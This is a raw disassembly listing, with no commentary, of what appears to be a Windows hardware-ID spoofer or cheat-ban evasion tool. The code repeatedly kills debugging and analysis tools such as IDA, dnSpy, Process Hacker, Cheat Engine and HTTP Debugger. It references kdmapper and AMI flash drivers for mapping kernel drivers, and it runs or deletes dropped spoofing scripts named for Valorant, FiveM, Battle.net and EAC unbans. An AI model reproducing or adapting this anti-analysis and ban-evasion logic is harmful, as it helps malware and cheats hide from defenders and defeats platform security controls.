lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rax, [rsp + 0xa298]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0xeac0]
add rax, 0x104
mov rdx, rax
mov rcx, qword [rsp + 0x320]
call fcn.14005d9d0
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x348], rax
lea rax, [rsp + 0xa2b8]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0xeac0]
add rax, 0xd2
mov rdx, rax
mov rcx, qword [rsp + 0x338]
call fcn.14005d9d0
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x350], rax
mov r8, qword [rsp + 0x348]
mov rdx, qword [rsp + 0x350]
lea rcx, [0x140407010]
call fcn.140066800
movzx eax, byte [0x140406e90]
test eax, eax
jne 0x140070172
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x213], 1
mov rax, qword [rsp + 0xeac0]
mov byte [rax + 0x214], 1
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 8
jmp 0x140070184
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 1
lea rcx, [rsp + 0xcfb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcfd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xcff0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd010]
call fcn.14005d8e0
call fcn.1400cdc80
addss xmm0, dword [0x14039cebc]
movss xmm1, dword [0x14039cef4]
call fcn.1400cdb80
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce4c]
lea rcx, [rsp + 0x358]
call fcn.14005eef0
lea rdx, [rsp + 0x358]
lea rcx, str.Registerlog1
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14007021f
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 2
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 0xffffffff
jne 0x14007033e
lea rax, [rsp + 0x1d60]
lea rcx, [0x1403fd468]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xeac0]
mov rcx, rax
call fcn.14005d8d0
mov qword [rsp + 0x360], rax
lea rax, [rsp + 0x1d70]
lea rcx, [rsp + 0x1d60]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1d70]
mov r8b, 1
mov rdx, qword [rsp + 0x360]
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aaa90
call fcn.1400cdc80
addss xmm0, dword [0x14039ce8c]
movss dword [rsp + 0x184], xmm0
call fcn.1400cdcb0
movss dword [rsp + 0x180], xmm0
movss xmm2, dword [rsp + 0x180]
movss xmm1, dword [rsp + 0x184]
lea rcx, [rsp + 0x368]
call fcn.14005eef0
lea rcx, [rsp + 0x368]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce38]
lea rcx, [rsp + 0x370]
call fcn.14005eef0
lea rdx, [rsp + 0x370]
lea rcx, str.Exit
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14007033e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 0
jne 0x140070f2d
mov rax, qword [rsp + 0xeac0]
movzx eax, byte [rax + 0x210]
test eax, eax
jne 0x140070e22
lea rax, [rsp + 0x1d80]
lea rcx, [0x1403fd478]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xeac0]
mov rcx, rax
call fcn.14005d8d0
mov qword [rsp + 0x378], rax
lea rax, [rsp + 0x1d90]
lea rcx, [rsp + 0x1d80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1d90]
mov r8b, 1
mov rdx, qword [rsp + 0x378]
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aaa90
call fcn.1400cdc80
addss xmm0, dword [0x14039ce8c]
movss dword [rsp + 0x18c], xmm0
call fcn.1400cdcb0
movss dword [rsp + 0x188], xmm0
movss xmm2, dword [rsp + 0x188]
movss xmm1, dword [rsp + 0x18c]
lea rcx, [rsp + 0x380]
call fcn.14005eef0
lea rcx, [rsp + 0x380]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce38]
lea rcx, [rsp + 0x388]
call fcn.14005eef0
lea rdx, [rsp + 0x388]
lea rcx, str.Exit
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140070e1d
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_DefenderOfflineDriverMapper
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIDEWINx64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_volumeid64.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystemBSODTASKPROSSES.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystemdeletemetounspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystemloading.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, [0x1403929b8]
call fcn.1402b632c
lea rcx, [0x1403929f0]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, [0x140392a60]
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_Defender_timedatechanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesWindows_Mail_nxt.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, [0x140392bb0]
call fcn.1402b632c
lea rcx, [0x140392bf0]
call fcn.1402b632c
lea rcx, [0x140392c30]
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_nxt.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_nxtHWIDCHEKERhehe.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeletemetounspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISK1.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper1.bat
call fcn.1402b632c
lea rcx, [0x140392e48]
call fcn.1402b632c
lea rcx, [0x140392e80]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchangerdriver.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdmapper.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMACCHANGERdriverinstaller.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_randomizermapper.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_BSODTASKPROSSES.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Windows_nfLauncher.exe
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoIPv6.bat
call fcn.1402b632c
lea rcx, [0x140392930]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x140392970]
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_US2NDMACCHANGER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USIPv4.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USIPv6.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemMobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_testing.Bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemREMAKEALLINONESPOOFER.Bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoMobo.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoAKEUDMAPPER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140070f2d
lea rax, [rsp + 0x1da0]
lea rcx, [0x1403fd478]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0xeac0]
mov rcx, rax
call fcn.14005d8d0
mov qword [rsp + 0x390], rax
lea rax, [rsp + 0x1db0]
lea rcx, [rsp + 0x1da0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1db0]
mov r8b, 1
mov rdx, qword [rsp + 0x390]
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aaa90
call fcn.1400cdc80
addss xmm0, dword [0x14039ce8c]
movss dword [rsp + 0x194], xmm0
call fcn.1400cdcb0
movss dword [rsp + 0x190], xmm0
movss xmm2, dword [rsp + 0x190]
movss xmm1, dword [rsp + 0x194]
lea rcx, [rsp + 0x398]
call fcn.14005eef0
lea rcx, [rsp + 0x398]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039ce38]
lea rcx, [rsp + 0x3a0]
call fcn.14005eef0
lea rdx, [rsp + 0x3a0]
lea rcx, [0x14039381c]
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140070f2d
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 3
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 1
jne 0x140071048
lea rax, [rsp + 0x1dc0]
lea rcx, [0x1403fd468]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x1403fd488]
call fcn.14005d8d0
mov qword [rsp + 0x3a8], rax
lea rax, [rsp + 0x1dd0]
lea rcx, [rsp + 0x1dc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1dd0]
mov r8b, 1
mov rdx, qword [rsp + 0x3a8]
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aaa90
call fcn.1400cdc80
addss xmm0, dword [0x14039ce8c]
movss dword [rsp + 0x19c], xmm0
call fcn.1400cdcb0
movss dword [rsp + 0x198], xmm0
movss xmm2, dword [rsp + 0x198]
movss xmm1, dword [rsp + 0x19c]
lea rcx, [rsp + 0x3b0]
call fcn.14005eef0
lea rcx, [rsp + 0x3b0]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce1c]
